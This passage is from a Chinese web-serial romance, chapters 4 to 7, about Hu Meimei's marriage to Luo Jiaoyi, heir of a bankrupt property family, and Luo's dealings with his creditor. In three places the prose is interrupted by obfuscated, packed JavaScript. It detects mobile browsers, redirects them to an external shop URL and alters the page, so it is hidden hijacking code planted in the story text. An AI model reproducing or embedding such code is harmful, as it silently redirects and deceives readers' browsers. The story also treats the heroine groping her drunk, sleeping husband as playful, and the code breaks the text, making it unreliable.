“我觉得，洛家还不需要你这点钱救济，没到那个份儿上，哪有新闻报道那么严重！现在的新闻都失真了。” “而且，没有别的有钱人救济洛家吗，没有哪个千金看上洛家小子吗，真要钱的话，洛骄益干嘛不和她们结？” 胡美美从来就不是洛骄益唯一的选择，也不是洛骄益最好的选择。 瘦死的骆驼还比马大呢，洛家几十年的积蓄，不可能一夜之间丁点儿不剩。 他选胡美美，另有原因，不是因为钱。 4. 第 4 章 - “可是，那难道还能是因为他喜欢我？” 胡美美思考了片刻，一幅觉得老板说得对，她也想不通的样子。 她是一个月前来到盈江的，一个人，人生地不熟的，这一个月来她和洛骄益见面也不过五次。 洛骄益也对她一见钟情？ “…”这一下把老板问住了。 不可能。 可是洛骄益明明就不至于，虽然这样说很残忍，但他怎么会去选一个跟他都不是一个阶级的人。 真不至于。 老板忍不住仔细打量了一番胡美美，这人一看就不讲究。 说是今天领证儿，却没有穿白衬衣，穿的上衣是件设计感很重的暗紫色长款，垂感灯笼袖，袖口加长收紧，遮去了她的手腕儿。 胡美美细长的手背和手指自然落下，就像是那件隐约还闪着偏光的衣服自然结出来的白玉瓜。 衣服手臂到腰间的位置都有蕾丝刺绣缝上，领口是这件衣服的灵魂，也是这件衣服设计感最重的地方。 胡美美的身体干净得像块空白画布背景，锁骨处，交叉的黑色丝带开始穿梭、连接着布料绘画，画笔一直延伸，停在她腰间，最后打了个随性的蝴蝶结收尾。 我的妈呀，这大深V！ 领口都连到长裤的皮带扣上了，是很帅，但丁点儿不适合穿去结婚啊？ 老板看得皱眉，挠了挠头。 她不知道，洛骄益也没穿白色去。 这个大深V领口，大有来头，胡美美可是专门挑的这一件，就为了拍出来显得她和洛骄益穿情侣装一样。 老板疑惑苦思的这一段时间，修理厂前的单向路亮起了灯，盈江市完全是个霓虹城市，白天可能还看不出什么特别，到了晚上，全城上下都闪闪发光时，才会让人惊觉漂亮和震撼。 胡美美对她的反应哈哈一笑，往外瞥了一眼，只一眼，心思就已经飞走，不一会儿主动开口为刚刚的问题草率结局： “其实吧，两千多万也不少了，没那么复杂。” “应该就是为了钱，主要我这可是现金，马上就能拿出来用的实实在在的钱，这么大一笔。” 洛家可能还有其他形式的积蓄，但不一定有这么多流动资金。 就当是这样吧。谁知道呢，究竟为什么。 这么一想，老板也觉得挺有道理的，接受了，讪讪到，“你也是真舍得。” 胡美美摆手：“害，结婚嘛，不花钱怎么睡到帅老公，想要条件好的必须舍得。俺们村里，最能花钱的就是要娶漂亮老婆的男人。” “你别说，只要钱实实在在地花出去了，你发现你反而会顺得不得了！” 婚姻实际上就是一场合法的交易。 老板被她逗笑，“你这形容，也太接地气了，年轻人很少有你这么讲话的。” 一股村里的味道。 踏实。 胡美美想去玩儿了，并不介意老板这样说，又和老板简单拉了几句，先行离开。 “你回家？去睡老公？”老板迅速接受了现实，和胡美美相处，莫名地越来越放松，主动开起玩笑。 “那当然！不是为了合法地睡一下谁结婚！”胡美美稳稳接住。 老板呵呵笑，笑完了直言胡美美敞亮，小小年纪就看得这么清楚，让她忍不住拍手叫好。 胡美美放出一番壮语豪言，她只不过是把大家都默认的东西说了出来。 只要时机成熟，她主动，都领证了，没有不睡的义务。 老板揶揄：“那不耽误你时间了，不聊了，赶快走吧你！放行！” “诶！”胡美美上一秒兴奋，下一秒，语气又徒然落寞。 “不过，今晚应该不行，” “为什么？？”老板面露疑惑，胡美美垂眸，低低地解释，得到她一个释然、“那也没办法”的表情回应。 “刚吵过架。” - 胡美美不喜欢坐地铁，在车厢里什么都看不见，干脆随便找了个就近的公交站台上去，窝在最后一排漫无目的地看窗外。 整辆车除了她几乎没人像她这样关注外面的世界，说难听些，叫“外地佬、没见识”。 这有什么好看的？ 可是胡美美真还觉得挺不错的：那些在晚上为城市建筑塑造出形状的灯，就是看不厌，就是新鲜。 只是盈江华丽有余，却总感觉少了点东西。 她在一个商业广场附近下了站。 今天愚人节，第一眼从车窗里看到攒动的人头上方毫无预兆出现一个低飘鱼灯时，胡美美的眼睛就根本再也挪不动了。 路牌写着“财富大道”，巨型的整蛊版鳌鱼灯舞动着鱼鳃和鱼尾鬼鬼祟祟地贴着商场大楼钻出来，半边身子藏在冷色科技的楼后，大大的鱼脑袋活像真的有自主意识、能够思考一样，探出来之后歪了歪扭了扭。 如果不是鱼头被改成了网络上一只很出名的猫猫的脸，胡美美就要被它的活灵活现吓到了。 那是最近很火的纸巾小猫，火到这个梗后来延伸成了各个领域里展示认知差异的模板，全网模仿。 “鱼头”出来，大家会心一笑，纷纷掏出手机向上举拍。 鱼灯钻出来之后开始在广场空中游行视察，胡美美仰着脖子看那东西，觉得奇怪，它看起来不像是用电的机器，但也没有引线拉扯着，到底是哪儿来的动力四处游荡？ 它一点也不僵硬，整个有六米长、三米多高，尾巴飘逸繁杂，至少是用了上百条布料才织成的，还有好看的光泽，五颜六色的，很绚丽，像神话里会出现的快要化龙的妖。 广场上还有不少人cos经典拍视频玩乐，胡美美看见一个女生穿着明黄的袍子，坐在公共椅上念台词，身边跟着一群戴着旗头的“后宫娘娘”们。 “娘娘”们明争暗斗，说着什么“要告发…”、“此身从此分明了”之类的话，挺有意思的。 压了一下马路，胡美美又重新上了新的公交，这辆开往江边，正好，她就在观赏区下站。 盈江穿过市中间，把城区分成两半，江里每天都有游船开过，两面的建筑是最高最闪的两片，有时候江面还会飞无人机方阵，排字，或者排图，然后放上些烟火。 这边直播的人很多，其中不乏各个外国友人，除此之外还有大批大批的帅哥美女。 观赏区很大，徒步一小时都走不出去，胡美美一个月前刚到这里时，就曾经被累到过，到了现在，还是不适应。 这里什么都追求大，追求高，追求壮观。 江边有一个豪华酒店，层高就是胡美美平常所见的两倍那么多，胡美美站在外面，勉强能够得到路边的树枝，结果快两个她那么高的树，在酒店面前却小的像一只蚂蚁。 据说，盈江一开始其实也走平凡朴实的风格的，房屋修起来，人刚好能在屋顶伸手够到树上的花。夏天夜晚，平躺下，就是繁星点点和江面吹来的风，慢悠悠的很舒适。 盈江一共有三次经济发展的起落节点，第一次起是因为这条江，交通便利；落，是因为后来全国基建，这点儿便利慢慢就从优势变得普通了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胡美美想想，甚至觉得如果要她来建的话，她宁愿依山傍水的，修一个普通舒适的房子就好了。 最好冬暖夏凉，一年四季都能感受到自然的适宜的温度，不用打开空调来强制调节温度才能获得舒适些的体验。 还有，其实洛骄益要求的那些采光、隔声，也都很重要。 - - - 咖啡喝得还行，就是店里的歌后面快把她给听睡着了。 胡美美走出店，靠着江边岸上的护栏盯着对面房屋发呆。 夜越深，盈江市越是热闹，附近还有一座造型比较特别的地标建筑，很多人排队上去登顶俯瞰夜景。 胡美美待久了有些无聊了，撑着下巴一遍遍扫视对面，突然想到了一个绝佳的理由，去打扰洛骄益。 十一点，她联系洛骄益，给他打电话讲了这个“理由”： 约他明天就一起去看房子。 并且晓之以情，动之以理： 既然，明天要一起看房子，那今晚他们直接住在一起，这样明天出发才方便啊，对吧？ 所以理所应当的，胡美美自信满满，在电话里坦言。 “今天晚上我要和你一起睡！” 洛骄益听完呼吸一重。 “怎么样？”胡美美耳朵贴着手机，激动又雀跃，安静等他。 洛骄益是在她再三的恳求下才没挂断电话，耐心听她讲着的，并没有第一时间回应。 酝酿了一下，他最终开口。 5. 第 5 章 “不在。” 洛骄益就说了两个字。直接否决。 晚上的江风有点凉，夜航的船鸣笛拖着尾浪缓缓开过来。 胡美美刚开口，他又挂了，绝不拖泥带水、给人希望，相当的决绝。 想和他好好打一次电话，大概比抓住盈江的风还难。仅一天之内，胡美美就被他挂了三回，实在很难不生气。 她就算脾气再好，也架不住对方这么短的时间内反复招人烦。 胡美美下意识闭眼，不愿面对，头发被风吹得乱七八糟。 江水拍打在岸边，一下又一下的，断断续续，像战前行军敲出来的鼓点越来越激烈，胡美美反而被激起了斗志，偏偏要做。下一秒直接一鼓作气打车加价，杀到了“卢浮里”偏门去。 这个“卢浮里”，就是那一片洛家尚未完工的住宅区地产，名字来源对标“卢浮宫”，当初准备打出去的宣传口号也夸张得离谱。 洛骄益一个人住在这边。 一下车，胡美美就意识到自己太冲动了，后悔自作主张打车过来。 她想，洛骄益拒绝自己肯定有他的原因，万一他不方便呢，自己就这样过来，惹他生气的话，还不知道哄不哄得过来，很有可能得不偿失。 靠。 咖啡里是不是偷偷加了酒精？ 但没办法，事已至此。 凌晨了，零点已过，停工后的开发区根本没有人往来，甚至连声狗叫都没有，死寂瘆人。 这里的房子又太过高大，文艺复兴时期的特色古典柱式和雕刻装饰建筑群单个儿地杵在尚未修整好的片区，显得奇特又诡异，突兀感强烈。 胡美美翻出微信，去跟洛骄益道歉，一边凭记忆在巨大的“U”型翻版残缺的“卢浮宫”里找到路进去，穿过“拿破仑广场”，直行又拐弯。 “...” “我已经到你楼下了。”“一个人打车过来的，回不去了，没有地方睡。” 胡美美找到洛骄益目前暂时在住着的那一栋楼，走进电梯，低头敲字。 “算我错了，先让我落脚再说？” 买个新房不是洛骄益的需求吗，她也是想积极响应，尽快陪他去看，早点把房子买下来，没想到洛骄益不接招，白白浪费她这么好的借口。 “我车坏了，下午签完认定书我就拿去修理厂..” 胡美美解释。 写到这句时，她猛地反应过来，斟酌用词，又赶紧删除，重新输入： “你的车坏了”， 接着，又删除。 “我给你买的那辆车坏了”。 这句话很重要，感觉还是不够。想了想，胡美美还是删除重新点开键盘。最终，句子扩长成这样。 “早上，开去接你办结婚证，之前我秒付款给你买的那辆豪车宾利坏了，下午签完认定书”.. 加了无数定语，就差把“我给你买车了花钱了，你不能这么对我”写在脸上。 嗯。 最后的“定稿”，既强调了车主是洛骄益，说明自己甘愿付出，绝不会把财产再拿回来，对洛骄益绝对一心一意，又强调自己付出时果断的态度，上赶着邀功，企图能获得对方的可怜。 展现自己的付出是很有必要的，婚姻里，为对方做的鸡毛蒜皮的事儿都要一定时常记得告诉对方，胡美美和老家那些成功男人学的，感情就得这么经营。 一股脑地发过去很多消息，出电梯，继续步行，八百米之后，才可算是到了洛骄益房间门口。 门却又是现代化的智能锁，和建筑里的那些柱子、壁画、吊灯，雕塑摆件不在一个时代，胡美美站在门口等了一会儿，没收到回复，怕洛骄益看不到手机，又打了个电话过去。 提示音说他正在通话中，胡美美有些意外。 “咳，我到门口了，密码给我一下，老公。” “咻—” 消息弹过去。 胡美美却恐怕已经有了惯性思维，没等回复，下意识觉得等不到，叹了口气，随便把手机塞进口袋，大着胆子无聊，伸手去试了试门锁，点出一串数字。 结果，“嘀嗒”一声，门打开了。 解锁后自动向右边横向打开的门，后面站着洛骄益，原本正伸手要去开门，看见门动起来后又缩了回来，立在那儿低眉看胡美美。 胡美美完全懵了。 不知道是不是她多想了，从他的表情中，胡美美看到一丝无语和责怪。 不是知道密码吗？ 就非得要他去开。 “......” 胡美美想象了一下，站在洛骄益的角度，肯定觉得自己作怪，之前来过一次，可是胡美美以为，自己走之后，洛骄益一定会换掉密码的，甚至直接把所有她触碰过的东西全都换新一遍。 也许是因为洛骄益才刚拿到她给的钱，还没来得及花，所以没换上。 又或者是因为他忙，毕竟刚都还在跟别人通话呢。 不是，刚刚不还在通话中吗，怎么一转眼又瞬移到门口了？而且干嘛不换密码，害她一下就随便把门给打开了！ 洛骄益换了身衣服，浅蓝色的衬衣，扣子才扣到第三颗，胸口露出来大半，下身是黑色西装裤，头发也放了下来，堆在眼睛上，压得他看起来脸色更不好了，显得凶凶的。 胡美美尴尬一笑，尝试抬脚进去，洛骄益一动不动，哪里有迎客的意思，胡美美差点顶不住压力被逼退，但转念一想：不对啊，她又不是客。 “...还有拖鞋吗，给我拿一双？” 洛骄益：“自己找不到？” “张口就是要。” 密码也要，鞋也要，还有什么别的？一起要了吧，免得他一会儿又要接不知道多少个索命一样的电话。 胡美美更尴尬了，她倒是想自己去找，这不是被挡住了不让进门吗。 洛骄益真的是娇横，他自己可以多事，向她要这要那，反过来，是她去要就不行吗？ “那我去叫别人老公，找别人问密码？”胡美美接话，忍不住回顶了一句。 洛骄益嗤了一声，欲言又止，但还是说了出来，“你当不需要冷静期？” 离婚也和结婚一样容易吗？ 胡美美抿了抿唇，被他呛得脸红心跳，要是不仔细点思考，还以为是她动心了呢，闷声不再说话，强行往屋子里走，绕过洛骄益，去旁边找鞋。 还好，房子够大，够他们保持距离各自冷静。 胡美美弯腰看了一眼，上次她过来带了个行李箱，图方便，里面塞的就是酒店的一次性拖鞋，当时拿出来用时洛骄益很嫌弃。 那个一次性的拖鞋，被扔掉了。但是胡美美看见鞋柜下又重新摆了一双新的女士拖鞋，顿时心情好转。 其实好像也没什么。 胡美美瞬间就不再生气了，换上之后喜笑颜开，转身主动去和洛骄益说话，迅速求和。 “老公！” 胡美美蹭过去，洛骄益回沙发端了杯酒，手机摆在两米远外的桌子上，被她这一声近似于尖叫的称呼刺得捏紧了酒杯，指尖用力到发白失去血色。 胡美美见他不高兴，适可而止，没有在意，转身去了衣帽间，发现她的睡衣竟然也还留在那里，裹上了新的洗衣液的味道，更开心了，立马哼哧哼哧换上、顺便又去卸了妆。 折腾完，已经快两点。 胡美美困意翻涌，回到客厅，问洛骄益准不准备睡了，她想要他们一起进去，一起上床。 洛骄益一直在喝酒，转眼，沙发边都已经堆上了三个红酒瓶。 说着，胡美美瞥到一眼，机灵且自觉地走过去，俯身去帮忙把空瓶子捡起来收拾好。 瓶子离洛骄益脚边近，胡美美几乎得完全蹲下，在他脚边埋头处理垃圾。 洛骄益一身酒气，让她想到早上那个野马车主。 洛骄益不吭声。 捡到最后一个时，头顶突然落下叫停她的声音，胡美美抬头一看，洛骄益一脸嫌弃，让她别再弄了。 有阿姨会专门负责打扫卫生的。 胡美美还摆着好姿态，没当回事儿，“哦。” “我知道啊，”上次，她过来，洛骄益也和她说过这个问题，但就几个瓶子而已。 “阿姨这时候又不在，我先给你收起来，万一你醉了，再踢到瓶子摔了呢。” 她多贴心？洛骄益还不高兴？ 胡美美不解，继续把瓶子拿起来扔垃圾桶。 但没过一会儿，她想起来什么，又把瓶子给留了起来，放在桌上。 洛骄益忍耐着，皱眉看她反应。 胡美美掂量了一下，回头问他，“哎？” “我突然想到，这瓶子应该很贵吧，是不是可以回收？” 能回收的话，就不扔了，留下来存着等回收。 洛骄益原本皱着的眉头收得更紧，闻言坐直，警告她，“我不需要你收废品来卖补贴家用。” 胡美美焦灼，“这不是钱不钱的事儿！环保，好习惯！” “......” “你这种人才会有的习惯。”洛骄益语气里透出不屑。 “这习惯怎么了？”胡美美不跟他计较，他肯定喝醉了。 把瓶子收好后，胡美美又去沙发边，要扶人起来，没想到手一伸，就被对方狠狠地甩了一下，洛骄益最起码刚刚还能保持基本的礼貌，说的不算人话，但干的还算人事儿，这会儿仿佛直接成精了。 烦人精。 胡美美再如何宽容，猝不及防被甩这么一下，也要生气，何况她还是出于好意，洛骄益脸上和手上的嫌弃已经溢出来了，好像让她扶一下自己就脏了一样。 “不是，” “怎么了？又怎么了？”胡美美质问。 洛骄益站起来，影子罩住她整个人。 “我早就和你说过了。” “垃圾有阿姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们一天吵了多少次？像天生就不对付一样，而且这样类似的情节，未来肯定还要发生无数次，不知道什么时候才能停止。 洛骄益憋了半天，无奈开口，额角的青筋突突地跳： “你在外面到处和人说我们俩结婚了？” 他查过监控，在胡美美出车祸之后，画面显示她竟然一个挨着一个地去敲开别人的车窗和人搭话讲一些无关紧要的事，不分场合的炫耀打扰别人，这还不算丢人吗？ 那请问还有什么比这更丢人的事，洛骄益抠破脑袋都想不出来。 胡美美瞪眼，放下翘起的腿，“那不是因为高兴吗？你娶到了女神不愿意和人说？我跟人炫耀的时候又没提你的名字，你自己找上门去调监控才把脸丢掉的，怪我?” 这明明叫自作孽。 洛骄益卡住，震惊得说不出话来，睫毛剧烈地颤动了一下。 胡美美这逻辑乍一听真的很有道理，他瞬间觉得，好像确实是自己不对了，毕竟是自己亲自下嫁，不管对方是谁，哪一天居然能和他结婚的话，高兴到去到处找人说的反应都已经算是克制收敛的了。 但洛骄益又不想甘拜下风，不愿承认自己吵不过胡美美。 他顿了顿，努力冷静下来，头脑风暴，回忆着过往，一定要再搜索出一件事来说道、证明是胡美美不对。 过了很久，也可能是几秒，洛骄益才滚了滚喉结，挤出一句胡言乱语： “你之前嘴角两边那两个环。” 实际上，他这会儿是真的有点神志不清了，酒劲儿突然有点上头。 胡美美轻轻蹙眉，重新站起来靠近他。 “穿孔啊？嘴角钉，土鳖。” 这都不知道？ 洛骄益“.....” 胡美美观察着他的反应，洛骄益一动不动，像一尊大佛，呼吸之间，浓烈的红酒香味在空气中扩散地越来越快，越来越远，无声地叫嚣他醉了、醉得不轻。 洛骄益现在看起来很不聪明，双眼无神，蒙着一层水雾，甚至没有聚焦，湿漉漉的，整个人松松垮垮，和他领口翻折垂乱的衣料一样。 胡美美看得心软，抬手帮他整理了一下，松口弃械，主动抛出台阶，“吵够没，我去帮你放热水，洗个澡？” 洛骄益不吭声。 话说回来，胡美美转念想了一下，原来洛骄益去查过监控了，车祸的事他还是放在心上的，是因为担心她？ 总不能是怕车坏了特意去跑一趟看情况吧，有钱人还在乎这个？和车相比，显然是人命比较重要啊。 胡美美陷入沉思，不自觉抓了洛骄益手臂，洛骄益条件反射似的张开手掌要去扶住胡美美的腰，好在及时打住，所以最后就只是微不可见的指尖抽动了两下。 他们隔的很近，没有安全距离，近到两个人的鞋尖贴在一起，裤脚也一个挨着一个。 从侧后方看，洛骄益低头刚好能抵住她头顶，胡美美的脸藏在光影里让人看不太清，只是目光好像刚好落在洛骄益心脏位置。两个人穿着相似的上衣，面对着面，从混凝土和钢筋铸造的森林里抽条出来，在华丽和繁重的鎏金装饰堆砌里扮演一角，像在拍庄严肃穆的盛大的婚礼现场照。 6. 第 6 章 一觉醒来，早上九点。 睁眼是从天花板垂下来的厚重天鹅绒帷幔，和丝绸一起，把四柱华盖床层层叠叠地包裹住，隔绝掉外面的世界。 不得不说，虽然这样很浪费，但是，因为那些装饰吊物，待在这里，床上的空间充满了私密的安全感，让人睡得还怪踏实和舒服的。 胡美美一扭头，洛骄益光着身子躺在被子里，合眼轻轻地呼吸，像安睡在珠宝盒里的珍珠，黑发贴着脸颊微微起伏，伏窝露出的肩颈和背腰线条流畅，皮肤光泽也恰到好处的明亮好看。 早晨的光柔和温暖，金灿灿的透过帷幔洒进来，洒在洛骄益身上，和深红色的金绣绒被融为一体、和他融为一体了，整个场景就像一幅刚刚重新刷上了达玛光油的崭新顶级画作。 胡美美眨了眨眼，盯着人，大脑放空一片，突然隐约的耳鸣，听不到空气的流动，耳边只有血液翻涌上来的轰炸音，直接看得脖子和脸慢慢全都红了。 她甚至觉得，他有种多看两眼就能让人延年益寿的夸张功效，是一味良药。 不知道苦不苦口。 胡美美其实对西方的艺术风格不太能欣赏得来，但这一刻觉得果然，一种风格能够广为人知、流传下来，还是有它的道理的。 一大早就让人莫名神清气爽。 洛骄益习惯裸睡，昨晚他洗澡脱衣的时候，胡美美就已经欣赏检查过伴侣的全身了，很满意，洛骄益从头到脚都管理得很好很健康，那里也不丑很漂亮，尺寸适中，非常不错。 得亏是他醉了，不然胡美美也不能这么顺理成章。 昨晚她一直守着洛骄益用的理由是，担心他酒后出事。 洛骄益好好的，没出什么事，除了睡醒之前被胡美美占便宜。 听说男生早上无一例外都会控制不住有生理反应，胡美美掀开被子验证了一下，洛骄益压卧着睡的姿势几乎把他整个正面都遮盖住了，这人又很长一条，喜欢压被子，腰窝以下的位置全都裹着、严严实实的。 胡美美试了好几次用力扯开被子，最后都失败了，毫无收获，折腾一番反而还把洛骄益给吵醒了，不能再继续放肆。 洛骄益睁开眼翻平撑着床半坐起来，胡美美立刻停手侧躺过去闭眼装睡，等了半天，洛骄益也没有任何反应，既不质问指责自己，也不凑上来和自己亲热亲热。 缓了会儿，洛骄益独自起床，去隔壁衣帽间换衣服。 胡美美半小时后钻去客厅，依旧一身睡衣。 昨天的衣服放进洗衣机清洗烘干过了，倒是也能穿，但是她出去一看，洛骄益果然又是一身新，白上衣黑裤子，SaintLaurent的秀款，领口大开，能看见他锁骨还有胸膛。 “我没穿的了，还是穿昨天那套出门你能不能接受？”胡美美上前去问。 上次她来，就睡了一晚，行李箱里没带多少东西，而且说实话，穿那些，感觉洛骄益也不会满意。 昨天洛骄益不是嫌弃她丢人吗，那就和她先去买衣服。看在他这么美丽动人的份儿上，胡美美愿意奖励他也和漂漂亮亮精心打扮过的自己出门看房，愿意花时间、让步，按照洛骄益喜欢的风格自我重塑。 洛骄益在流苏帘象牙球饰品的旁边，低头望手机，闻言回头，语气冷淡： “不去。” 至于衣服，胡美美想要可以自己叫人去买，他不拦着。 “我有安排。”洛骄益走近，丢下一句，之后便径直朝门口那边抬脚离开了。 胡美美没拦住。 - 午间，白饰星办公室。 洛骄益是乘总裁专用电梯上去的，没人碰见，顶层偌大的空间,白饰星一个人享受，他到时，对方正在玩儿乐高拼积木。 埃菲尔铁塔模型完成了四分之三，白饰星专注地重复拼搭着塔顶结构，听见脚步声，礼貌停下，偏头和洛骄益对视上，支起身体。 “来了。” 洛骄益路过很多展柜里已经完成的作品：乐高ICONS泰坦尼克号（10294），9090片积木，成品长达135厘米；星球杯系列豪华千年隼；建筑系列巴黎圣母院、罗比住宅、姬路城、泰姬陵，帝国大厦... 这些东西在灯光下排列整齐，一眼望过去，还真有些唬人，但本质上和玩具没什么区别。 白饰星喜欢建筑，却还从来没有真枪实刀地设计、建造过哪怕那么一座真实的。 还喜欢玩儿小孩玩的东西，对着木头块儿都能研究一天。 走到他面前，洛骄益停下，直奔重点，抽出钱包把卡递给他。 “谢谢。”白饰星接过，微微一笑。 “按照顺位，你们现在赔到哪一步了，银行？还是税务局？” 房地产公司的破产清算，本质上是一场由法院主导的对尸体进行解剖和器官分配的手术，当资金链的最后一环断裂，银行抽贷、施工方讨薪，公司明显缺乏清偿能力，一切就都破灭了。 洛骄益没有回答，只是抄着兜盯着身边白饰星就快完成的下一个作品。 白饰星绅士又温和地向他介绍，“昨天刚拿到的，今早才有时间动手，拼了半小时，总觉得长大之后专注力变差了，居然到现在都还没拼完。” 洛骄益回眸瞥了他一眼。 “不过快了，”白饰星又解释，“最多再过十分钟吧。” 以他的速度，保守估计，应该是可行的。 洛骄益抽出手，突然在模型前试了试，轻轻一推，铁搭晃了晃，摇摇欲坠。 白饰星愣了愣，捏着积木的三指用了用力，差点要出言喝制对方，甚至身体已经前倾，直到发现洛骄益又及时收了要推倒铁塔的气势，才跟着迅速也收回念头。 “...这可不太礼貌。”他朝洛骄益笑，取乐到，“恩将仇报？我可是借了你们不少。” 语毕，洛骄益的目光扫视一圈，最后落在那张卡，他递过去，白饰星将它放在了一旁的台面上。 “还你了。”洛骄益说。 “我知道，洛家向来很讲信用的，听说这次清偿，无论如何，你们都选择了第一时间先保护业主和施工队、建筑工人。” 白饰星松懈下来，一边说，一边将积木继续安装到它本该去的位置。 洛骄益语气平平，像在说一件吃饭喝水般的寻常小事，但一语中的： “还是让你失望了。” “没想到，最后还完债，居然还死活剩下了足足两千万这么多。” 洛家有钱，只是当时那一刻周转不过来，所以连锁反应，闹到了现在这种地步。 人人都以为他们肯定要负债累累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372054|199960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 这一个月，为了把钱拿回来，洛家忙里忙外确实耗费了大量心血，如今还没有完工的房子被新闻报道一添油加醋公布出去，更是肯定血本无归了。 洛骄益疲惫得没有心情吃饭，瘦了整整十五斤。 白饰星又礼貌而客气地展示出他的敬意，微微弯起眼睛，“当然，洛家是老企业家了，这么点儿小小的挫折哪儿能把您给真正的打倒了。” “有猜到，不愧是洛家。当然，这其中或许也有不少我的功劳吧？” 白饰星放好积木，将手臂移到一旁，点点桌面上的卡。 没有他那一笔外借，洛家确实火烧眉毛，但如果要说，不是他们，甚至洛家原本可以没有这次破产的机会呢？ 洛骄益盯着那张卡，只想笑，和白饰星装不下去、也懒得再装了，开门见山，不问反答： “你知道我为什么找你借钱吗？” “不客气。”白饰星把笑意加深，一幅义气凛然的样子。 当时洛家猝不及防漏了天大的缺口需要补上，无人相助，洛骄益想都没想，直接就打了电话给白饰星。 生意场上，大家从来见风使舵，一望见好都狗皮膏药似的贴上来，一瞧见差，恨不得这辈子住外星去谁也联系不上他。 没人肯再出钱接济他们了，洛骄益也知道。 除了亲手害死他们那个人，洛骄益没人可以去求。 果然，白饰星极其爽快，当天就借给了他。 按照约定，除了偿还本金，洛家还要额外支付他一千万，所以虽然现在他们依然可以生存下来，甚至东山再起，但洛家得需小心了。 洛骄益其实没想明白，折腾这么大一圈，结果白饰星就要他们那么点钱，何必？他究竟要干什么？ 白饰星又捡起一块积木，不疾不徐，被戳穿了也不恼怒，无声地笑。 “有没有想好，以后做什么？还是修那些大得不行没什么用的观赏房，每次路过抬头看那些房子，仰得我脖子都酸了。”白饰星说。 洛骄益毫不客气，“你懂个屁。” 有本事，自己也去修一片试试，永远只会拼图的家伙。 那些房子是过时了，现在无人接盘，但它曾经创造出来的价值不可磨灭。 见洛骄益生怼，白饰星劝阻，年轻人不能火大，再怎么急躁，言行举止也要有风度，这才符合他们的身份。 洛骄益二十三岁，而白饰星二十二，比他都还小。 被比自己年幼的人说教了无疑会让人不爽，洛骄益沉了沉脸，一言不合，重新抬手伸向那座模型，做出了再次想要摧毁它的姿态。 白饰星急了，瞬间丢掉他那些风度、温柔，绅士还有礼貌，瞪住人出声呵斥： “你敢！” 洛骄益挑眉。有什么不敢？ 更贵的，他都赔过去了。 白饰星只崩溃了那么一刻，很快又恢复回来，洛骄益试探着伸出魔爪，他又气又恨，逼得实在没招，才问出了最戳他心窝的话，以示警告和反击。 白饰星调整了一下状态，温和地，装模作样地向洛骄益提出了亲切的问候： “对了，昨天你去了民政局，和胡美美相处得怎么样？” 语毕，洛骄益立马黑着脸推倒了埃菲尔铁塔，没有丝毫犹豫。 7. 第 7 章 胡美美穿着睡衣，打车去市里买了些衣服，穿走一套，剩下的送回家。 她没有阿姨的联系方式，找洛骄益问，又得不到回应，只能叫人家放门口。 最后，找了个商场请人帮忙化妆，随便吃点，她还是去了售楼处看楼盘。 答应要去的，两个人变一个人也是去，反正都出门了。按照洛骄益的要求，尽量贴合他的需要，黎行带着她先去看了林语境。 要把老婆的话放在心上，付出行动，即便对方只是随口说说，这样才留得住老婆。 以前在老家时，她二姑就跟姑爷总说，要吃镇上的奶茶，不吃心里不舒坦，蹲号子都蹲不好。 她二姑爷不愿意开摩托车去送人上街，后来二姑就跑了。 还有她三婶子，去摘豆角要三叔给她弄一个手套，她三叔非要装听不见，后来三婶子也跑了。 她四姨娘，喜欢摸牌，嫌手搓麻烦，要家里置换一个自动挡的，姨父不给，也跑了。 她舅妈也跑了，没两年，表奶奶跑，堂姐姐也跑，堂姐姐跑了之后，左邻右舍又开始跑。 跟玩萝卜蹲一样，没有人一直跑，但一直有人在跑。 胡美美全都记得很清楚。 反过来，也是一样的，所以要想守得住老公，就得听老公话。 - 坐车半小时。 除了洛家那种以“人间天堂”为主的华丽风，盈江剩下的楼盘，其实也就不多了。 林语境靠近市里最大的森林公园，走自然生态风，售楼部在小山包的绿化里，显得还挺隐蔽的，胡美美刚下车时差点都迷路。 入口是从一条两边种满细竹的碎石小路进去的，林语境主体是大面积的落地玻璃，透明墙面倒映着外面的水杉林。 大厅里有个“光影林厅”，里面特意也种了几颗真树，还打造了一个人工太阳，沙盘区窝在中心，上方挂了一组亚克力叶子，层层叠叠的，在人工太阳的光照下铺去很多影子。 黎行在树屋卡座等着，接到人后，愣了一下。 前一天见胡美美，这人用漂亮上衣配皮带运动裤运动鞋的超绝混搭给他印象实在太深刻了。 黎行还以为，胡美美原本就喜欢那种乱七八糟、倒洋不土的风格。 原来不是。 胡美美今天简单穿了件粉色衬衣，外面搭黑色夹克，还有黑色短裤和高筒靴子，酷酷的，反而还显得挺帅，比昨天抓眼很多。 “胡小姐，”黎行端着茶水迎上去，售楼部的接待小姐姐也跟着一起，胡美美接过，顺手把手机揣回屁兜里。 “带你去看看样板房。”黎行领路。 负责接待的小姐姐没想到胡美美没有带人也没有背包，第一反应，是伸手去帮顾客拿东西，结果胡美美却直接粗糙地把手机塞进了身上，于是她落得个空。 “……” 胡美美看在眼里，被逗笑了一声，紧急伸出手去和接待人握了握，好让她不那么尴尬，主动解释，“哦，没事没事！” “你好！” 她一般出门都不带包，要背，也只背一个和她大半个人一样那么高的大盒包，里面装着电吉他。 负责接待的小姐姐局促两秒后也被自己逗笑了，但只有憋住。 “胡小姐，你好你好！”她反握住胡美美。 